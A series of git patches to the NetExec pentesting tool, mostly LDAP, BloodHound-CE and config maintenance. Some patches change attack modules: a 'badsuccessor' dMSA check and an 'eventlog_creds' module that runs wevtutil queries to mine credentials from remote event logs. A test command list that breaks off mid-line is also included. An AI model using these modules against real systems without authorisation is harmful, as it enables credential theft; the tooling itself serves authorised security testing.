self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -443,7 +443,7 @@ class ldap(connection): proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") @@ -467,7 +467,7 @@ class ldap(connection): self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") @@ -534,7 +534,7 @@ class ldap(connection): proto = "ldaps" if self.port == 636 else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") @@ -558,7 +558,7 @@ class ldap(connection): self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") From 7d3dd409121f413448f3ce1f3734f6b9994e5d71 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 25 May 2025 11:02:38 +0000 Subject: [PATCH 62/83] make bloodhound-ce default --- nxc/data/nxc.conf | 2 +- poetry.lock | 16 ++++++++-------- pyproject.toml | 2 +- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/nxc/data/nxc.conf b/nxc/data/nxc.conf index faadf8a1..c979614d 100755 --- a/nxc/data/nxc.conf +++ b/nxc/data/nxc.conf @@ -16,7 +16,7 @@ bh_user = neo4j bh_pass = bloodhoundcommunityedition [BloodHound-CE] -bhce_enabled = False +bhce_enabled = True [Empire] api_host = 127.0.0.1 diff --git a/poetry.lock b/poetry.lock index 36383111..fe455bd1 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. [[package]] name = "aardwolf" @@ -335,15 +335,15 @@ files = [ ] [[package]] -name = "bloodhound" +name = "bloodhound-ce" version = "1.8.0" -description = "Python based ingestor for BloodHound" +description = "Python based ingestor for BloodHound Community Edition" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "bloodhound-1.8.0-py3-none-any.whl", hash = "sha256:97dcef77fa38dbab7219909c117eb9fd7263aff107cee0bf6fc7a0d0db9a61ac"}, - {file = "bloodhound-1.8.0.tar.gz", hash = "sha256:35ed0f1fdda2b1d79a4e9d891cabe2c55309a32743aeed16d885f3d809f409b3"}, + {file = "bloodhound_ce-1.8.0-py3-none-any.whl", hash = "sha256:0d5f39c2ab157448313f6c0ea8afdcf081238682f445c81e065684395ba5484b"}, + {file = "bloodhound_ce-1.8.0.tar.gz", hash = "sha256:f663d6181e2a1ab8de9d57948011662e2a47880d8caca9b85369a7efaed13a70"}, ] [package.dependencies] @@ -687,7 +687,7 @@ description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" groups = ["dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, @@ -2300,7 +2300,7 @@ description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "82a5e366a4270596f82655b99b5f0f22887fc72d5d04eefc3cddc945c9e69794" +content-hash = "fce231a076829319fd394d9747dc9edbeffc7ea2c2264cc18bd862518c64a7bb" diff --git a/pyproject.toml b/pyproject.toml index 4a010aa1..9da1dd13 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -21,7 +21,7 @@ dependencies = [ "argcomplete>=3.1.4", "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", - "bloodhound>=1.8.0", + "bloodhound-ce>=1.8.0", "dploot>=3.1.0", "dsinternals>=1.2.4", "jwt>=1.3.1", From 15fb6a3d1fcdfd43dd42e083595ec710cac0e986 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 25 May 2025 11:07:30 +0000 Subject: [PATCH 63/83] update poetry lock --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index 67c6f7af..1156e6ff 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "fce231a076829319fd394d9747dc9edbeffc7ea2c2264cc18bd862518c64a7bb" +content-hash = "4cbbf65da021a3cfb4f274275e46be64a3f5e9ba5991c84c859f4c9eddcc451f" From e53f1cf378ea74268b16a0cfe3f0d14efda55344 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 07:16:03 -0400 Subject: [PATCH 64/83] Now checking for dc with win server 2025 and not functional domain level to be 2025 --- nxc/modules/badsuccessor.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/nxc/modules/badsuccessor.py b/nxc/modules/badsuccessor.py index 80b464a6..9f509caa 100644 --- a/nxc/modules/badsuccessor.py +++ b/nxc/modules/badsuccessor.py @@ -176,18 +176,21 @@ class NXCModule: return sid def on_login(self, context, connection): - # Check functional domain level + # Check for a domain controller with Windows Server 2025 resp = connection.ldap_connection.search( searchBase=connection.ldap_connection._baseDN, - searchFilter="(objectClass=domain)", - attributes=["msDS-Behavior-Version"] + searchFilter="(&(objectCategory=computer)(primaryGroupId=516))", + attributes=["operatingSystem", "dNSHostName"] ) parsed_resp = parse_result_attributes(resp) - functional_domain_level = list(FUNCTIONAL_LEVELS.keys())[list(FUNCTIONAL_LEVELS.values()).index(int(parsed_resp[0]["msDS-Behavior-Version"]))] - if int(parsed_resp[0]["msDS-Behavior-Version"]) < FUNCTIONAL_LEVELS["Windows Server 2025"]: - context.log.fail(f"Attack won't work, domain functional level '{functional_domain_level}' is lower than Windows Server 2025, enumerating potential objects anyways.") - else: - context.log.success("Domain functional level is Windows Server 2025 or higher, attack is possible.") + + for dc in parsed_resp: + if "2025" in dc["operatingSystem"]: + out = connection.resolver(dc["dNSHostName"]) + dc_ip = out[0] if out else "Unknown IP" + context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})") + else: + context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.") # Enumerate dMSA objects controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION From 65e6e8cf2ec71cad1d023967befc9ea38da4a716 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 25 May 2025 12:21:42 +0000 Subject: [PATCH 65/83] fix poetry lock --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index 5bd471c9..64b85377 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "4cbbf65da021a3cfb4f274275e46be64a3f5e9ba5991c84c859f4c9eddcc451f" +content-hash = "af9de47cccd46147f7debdfe235c4bbffdc2293322bc2c5a7a644166c1488ee3" From 09ca4c91f4d6db2c089a57dc15271abb2378ecd1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 09:47:54 -0400 Subject: [PATCH 66/83] Implement unlimited querying with MSEven --- nxc/modules/eventlog_creds.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/nxc/modules/eventlog_creds.py b/nxc/modules/eventlog_creds.py index 5572fcf6..4d2cd283 100644 --- a/nxc/modules/eventlog_creds.py +++ b/nxc/modules/eventlog_creds.py @@ -182,7 +182,7 @@ class MSEven6Trigger: class MSEven6Result: - def __init__(self, conn, handle, limit): + def __init__(self, conn, handle, limit=None): self._conn = conn self._handle = handle self._hardlimit = limit @@ -192,11 +192,12 @@ class MSEven6Result: return self def __next__(self): - self._hardlimit -= 1 - if self._hardlimit < 0: - raise StopIteration + if self._hardlimit is not None: + self._hardlimit -= 1 + if self._hardlimit < 0: + raise StopIteration if self._resp is not None and self._resp["NumActualRecords"] == 0: - return None + raise StopIteration if self._resp is None or self._index == self._resp["NumActualRecords"]: req = even6.EvtRpcQueryNext() From 379641e25cfa9601649f62cd816aaf73df7f011a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 09:48:38 -0400 Subject: [PATCH 67/83] Allow setting the limit to UNLIMITED --- nxc/modules/eventlog_creds.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/nxc/modules/eventlog_creds.py b/nxc/modules/eventlog_creds.py index 4d2cd283..2c5d2bea 100644 --- a/nxc/modules/eventlog_creds.py +++ b/nxc/modules/eventlog_creds.py @@ -20,13 +20,13 @@ class NXCModule: self.context = None self.module_options = None self.method = "execute" - self.limit = 1000 + self.limit = None def options(self, context, module_options): """ - METHOD EventLog method (Execute or RPCCALL) + METHOD EventLog method (Execute or RPCCALL), default: execute M Alias for METHOD - LIMIT Limit of the number of records to be fetched + LIMIT Limit of the number of records to be fetched, default: unlimited L Alias for LIMIT """ if "METHOD" in module_options: @@ -92,11 +92,12 @@ class NXCModule: def on_admin_login(self, context, connection): content = "" - if self.method[:1].lower() == "e": + if self.method.lower().startswith("e"): + limit_str = f"/c:{self.limit}" if self.limit is not None else "" # https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688 commands = [ - f'wevtutil qe Security /c:{self.limit} /f:text /rd:true /q:"*[System[(EventID=4688)]]" |findstr "Command Line"', - f'wevtutil qe Microsoft-Windows-Sysmon/Operational /c:{self.limit} /f:text /rd:true /q:"*[System[(EventID=1)]]" |findstr "ParentCommandLine"' + f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"', + f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"', ] for command in commands: context.log.debug("Execute Command: " + command) From 2c12ab72028153c36a255697bcdb62230b63b849 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 09:48:58 -0400 Subject: [PATCH 68/83] Improve regex match and reduce false positives --- nxc/modules/eventlog_creds.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/nxc/modules/eventlog_creds.py b/nxc/modules/eventlog_creds.py index 2c5d2bea..dccb9d6b 100644 --- a/nxc/modules/eventlog_creds.py +++ b/nxc/modules/eventlog_creds.py @@ -41,8 +41,6 @@ class NXCModule: def find_credentials(self, content, context): # remove unnecessary words content = content.replace("\r\n", "\n") - content = content.replace("/add", "") - content = content.replace("/active:yes", "") # sort and unique lines content = "\n".join(sorted(set(content.split("\n")))) @@ -66,9 +64,16 @@ class NXCModule: # Extracting credentials for line in content.split("\n"): for reg in regexps: - # verbose context.log.debug("Line: " + line) - # verbose context.log.debug("Reg: " + reg) - match = re.search(reg, line, re.IGNORECASE) + # Remove unnecessary words + line_stripped = line.replace("/add", "") \ + .replace("/active:yes", "") \ + .replace("/delete", "") \ + .replace("/domain", "") \ + # Remove command lines that were executed with nxc + line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped) + + # Use regex to find credentials + match = re.search(reg, line_stripped, re.IGNORECASE) if match: # eleminate false positives # C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay @@ -128,7 +133,6 @@ class NXCModule: content += "CommandLine: " + match.group("CommandLine") + "\n" except Exception as e: context.log.error(f"Error: {e}") - continue self.find_credentials(content, context) From c3c487600e2d664404bb411dcb28c1888d63b1f8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 10:10:29 -0400 Subject: [PATCH 69/83] Add missing check if config section is missing --- nxc/config.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/nxc/config.py b/nxc/config.py index 07f2e55b..69715251 100644 --- a/nxc/config.py +++ b/nxc/config.py @@ -18,6 +18,11 @@ if "nxc" not in nxc_config.sections(): # Check if there are any missing options in the config file for section in nxc_default_config.sections(): + if not nxc_config.has_section(section): + nxc_logger.display(f"Adding missing section '{section}' to nxc.conf") + nxc_config.add_section(section) + with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file: + nxc_config.write(config_file) for option in nxc_default_config.options(section): if not nxc_config.has_option(section, option): nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf") From 614de0b75f0a104a35120d9c818ba2032be60821 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 10:11:49 -0400 Subject: [PATCH 70/83] Use already existing config object --- nxc/protocols/ldap.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4c166507..f791c9e6 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -423,7 +423,6 @@ class ldap(connection): return False def plaintext_login(self, domain, username, password): - self.username = username self.password = password self.domain = domain @@ -1278,11 +1277,8 @@ class ldap(connection): return package_name, version, is_ce - import configparser - config = configparser.ConfigParser() - config.read(os.path.expanduser("~/.nxc/nxc.conf")) # Check which version is desired - use_bhce = config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) + use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) package_name, version, is_ce = get_bloodhound_info() if use_bhce and not is_ce: From 962a7ec45ceeee216bbdcfc49d649fb1cc945ad9 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 10:43:38 -0400 Subject: [PATCH 71/83] Add info if 'bloodhound' package not found --- nxc/protocols/ldap.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f791c9e6..0406fa3f 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1287,6 +1287,8 @@ class ldap(connection): self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound") self.logger.fail("poetry add bloodhound-ce") + self.logger.fail("If you get the error 'Package bloodhound not found', run 'poetry remove bloodhound-ce', then 'poetry add bloodhound-ce' again.") + self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") From 51dfd5179a68e58a8b146a6d02fa6e91e31409f7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 10:47:07 -0400 Subject: [PATCH 72/83] Actually as the poetry file now says 'bloodhound-ce' we must uninstall that package --- nxc/protocols/ldap.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 0406fa3f..8393da18 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1285,10 +1285,8 @@ class ldap(connection): self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound") + self.logger.fail("poetry remove bloodhound-ce") self.logger.fail("poetry add bloodhound-ce") - self.logger.fail("If you get the error 'Package bloodhound not found', run 'poetry remove bloodhound-ce', then 'poetry add bloodhound-ce' again.") - self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") From 09cb12d759dd6624e50ae0e15e6019a6ceb26cd4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 11:02:10 -0400 Subject: [PATCH 73/83] Swap command order, otherwise pipx will complain --- nxc/protocols/ldap.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8393da18..37265800 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1285,13 +1285,14 @@ class ldap(connection): self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound-ce") + self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") self.logger.fail("poetry add bloodhound-ce") + self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx inject netexec bloodhound-ce --force") self.logger.fail("pipx runpip netexec uninstall -y bloodhound") + self.logger.fail("pipx inject netexec bloodhound-ce --force") return False elif not use_bhce and is_ce: @@ -1300,11 +1301,12 @@ class ldap(connection): self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce") self.logger.fail("poetry add bloodhound") + self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx inject netexec bloodhound --force") self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") + self.logger.fail("pipx inject netexec bloodhound --force") return False auth = ADAuthentication( From 70910223b469ce43fccb58c593834706b8b178af Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 11:04:29 -0400 Subject: [PATCH 74/83] Move bloodhound package info function to the helpers --- nxc/helpers/misc.py | 60 ++++++++++++++++++++++++++++++++++++++++++- nxc/protocols/ldap.py | 59 +----------------------------------------- 2 files changed, 60 insertions(+), 59 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index a92646f7..6f9566fd 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -40,7 +40,7 @@ def called_from_cmd_args(): # Stolen from https://github.com/pydanny/whichcraft/ def which(cmd, mode=os.F_OK | os.X_OK, path=None): """Find the path which conforms to the given mode on the PATH for a command. - + Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path. Note: This function was backported from the Python 3 source code. @@ -77,3 +77,61 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None): name = os.path.join(p, thefile) if _access_check(name, mode): return name + + +def get_bloodhound_info(): + """ + Detect which BloodHound package is installed (regular or CE) and its version. + + Returns + ------- + tuple: (package_name, version, is_ce) + - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None) + - version: Version string of the installed package (or None if not installed) + - is_ce: Boolean indicating if it's the Community Edition + """ + import importlib.metadata + import importlib.util + + # First check if any BloodHound package is available to import + if importlib.util.find_spec("bloodhound") is None: + return None, None, False + + # Try to get version info from both possible packages + version = None + package_name = None + is_ce = False + + # Check for bloodhound-ce first + try: + version = importlib.metadata.version("bloodhound-ce") + package_name = "bloodhound-ce" + is_ce = True + except importlib.metadata.PackageNotFoundError: + # Check for regular bloodhound + try: + version = importlib.metadata.version("bloodhound") + package_name = "bloodhound" + + # Even when installed as 'bloodhound', check if it's actually the CE version + if version and ("ce" in version.lower() or "community" in version.lower()): + is_ce = True + except importlib.metadata.PackageNotFoundError: + # No bloodhound package found via metadata + pass + + # In case we can import it but metadata is not working, check the module itself + if not version: + try: + import bloodhound + version = getattr(bloodhound, "__version__", "unknown") + package_name = "bloodhound" + + # Check if it's CE based on version string + if "ce" in version.lower() or "community" in version.lower(): + is_ce = True + package_name = "bloodhound-ce" + except ImportError: + pass + + return package_name, version, is_ce diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 37265800..e390e69f 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -43,6 +43,7 @@ from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes from nxc.helpers.ntlm_parser import parse_challenge +from nxc.helpers.misc import get_bloodhound_info ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", @@ -1219,64 +1220,6 @@ class ldap(connection): self.logger.fail("No string provided :'(") def bloodhound(self): - - def get_bloodhound_info(): - """ - Detect which BloodHound package is installed (regular or CE) and its version. - - Returns - ------- - tuple: (package_name, version, is_ce) - - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None) - - version: Version string of the installed package (or None if not installed) - - is_ce: Boolean indicating if it's the Community Edition - """ - import importlib.metadata - import importlib.util - - # First check if any BloodHound package is available to import - if importlib.util.find_spec("bloodhound") is None: - return None, None, False - - # Try to get version info from both possible packages - version = None - package_name = None - is_ce = False - - # Check for bloodhound-ce first - try: - version = importlib.metadata.version("bloodhound-ce") - package_name = "bloodhound-ce" - is_ce = True - except importlib.metadata.PackageNotFoundError: - # Check for regular bloodhound - try: - version = importlib.metadata.version("bloodhound") - package_name = "bloodhound" - - # Even when installed as 'bloodhound', check if it's actually the CE version - if version and ("ce" in version.lower() or "community" in version.lower()): - is_ce = True - except importlib.metadata.PackageNotFoundError: - # No bloodhound package found via metadata - pass - - # In case we can import it but metadata is not working, check the module itself - if not version: - try: - import bloodhound - version = getattr(bloodhound, "__version__", "unknown") - package_name = "bloodhound" - - # Check if it's CE based on version string - if "ce" in version.lower() or "community" in version.lower(): - is_ce = True - package_name = "bloodhound-ce" - except ImportError: - pass - - return package_name, version, is_ce - # Check which version is desired use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) package_name, version, is_ce = get_bloodhound_info() From e5d3b66fb364d6437a333ab2bafb730ed0ea6db8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 11:29:02 -0400 Subject: [PATCH 75/83] Add comments --- nxc/protocols/smb.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index feacf165..53350699 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -236,11 +236,13 @@ class smb(connection): self.targetDomain = self.hostname else: try: + # If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available if self.is_host_dc() and detect_if_ip(self.host): self.hostname, self.domain = LDAPResolution(self.host).get_resolution() self.targetDomain = self.domain # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it else: + # Check if the host is a valid IP address, if not we parse the FQDN in the Exception import socket socket.inet_aton(self.host) self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name") From dd3269509647e4ba85343f1191e084a4400bcb6b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 12:47:13 -0400 Subject: [PATCH 76/83] Update lock file --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index afe5d28d..f556527b 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2463,4 +2463,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "2ff9e8ff4aee99b6cb0587e226399d29196c7003418f900d4713c533e2659cdb" +content-hash = "9f38121eb3a3aa76f783c66a3bc6bb6d505475ec95b29767382e1b2552ceeb49" From c91c9dd93b7d46be5ccd4eaf204817f3d8e8df51 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 13:10:01 -0400 Subject: [PATCH 77/83] Linting --- nxc/helpers/even6_parser.py | 9 +++++++++ nxc/modules/link_enable_cmdshell.py | 4 +--- nxc/protocols/smb.py | 1 + 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/nxc/helpers/even6_parser.py b/nxc/helpers/even6_parser.py index d6420831..168ee3ed 100644 --- a/nxc/helpers/even6_parser.py +++ b/nxc/helpers/even6_parser.py @@ -5,6 +5,7 @@ import uuid from datetime import datetime + class Substitution: def __init__(self, buf, offset): (sub_token, sub_id, sub_type) = struct.unpack_from("{}".format(self._name.val, attrs, "".join(children), self._name.val) + class ValueSpec: def __init__(self, buf, offset, value_offset): self.length, self.type, value_eof = struct.unpack_from(" Date: Sun, 25 May 2025 13:10:28 -0400 Subject: [PATCH 78/83] Linting --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 6176ecb8..c6674cf3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -196,7 +196,7 @@ class ldap(connection): target = resp_parsed["dnsHostName"] base_dn = resp_parsed["defaultNamingContext"] target_domain = sub( - ",DC=", + r",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=IGNORECASE, From 730a4bfdedb9be249418d12492dcfee38ab833b2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 13:11:32 -0400 Subject: [PATCH 79/83] Linting --- nxc/helpers/misc.py | 3 +++ nxc/protocols/ldap/resolution.py | 3 ++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index a8e7f587..7bba7ebb 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -6,6 +6,7 @@ import os from ipaddress import ip_address + def identify_target_file(target_file): with open(target_file) as target_file_handle: for i, line in enumerate(target_file_handle): @@ -79,6 +80,7 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None): if _access_check(name, mode): return name + def get_bloodhound_info(): """ Detect which BloodHound package is installed (regular or CE) and its version. @@ -136,6 +138,7 @@ def get_bloodhound_info(): return package_name, version, is_ce + def detect_if_ip(target): try: ip_address(target) diff --git a/nxc/protocols/ldap/resolution.py b/nxc/protocols/ldap/resolution.py index 89b73fb4..9a80a0fd 100644 --- a/nxc/protocols/ldap/resolution.py +++ b/nxc/protocols/ldap/resolution.py @@ -8,6 +8,7 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket from nxc.parsers.ldap_results import parse_result_attributes from nxc.logger import nxc_logger + class LDAPResolution: def __init__(self, host): @@ -38,7 +39,7 @@ class LDAPResolution: target = resp_parsed["dnsHostName"] base_dn = resp_parsed["defaultNamingContext"] target_domain = sub( - ",DC=", + r",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=I, From 1b750d8fbc3c4b193df571e5fe6a728d91aa904c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 14:16:33 -0400 Subject: [PATCH 80/83] Don't test change-password module otherwise we can't log in anymore... --- tests/e2e_commands.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index b6cef76e..9c23d258 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -152,8 +152,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav - netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD 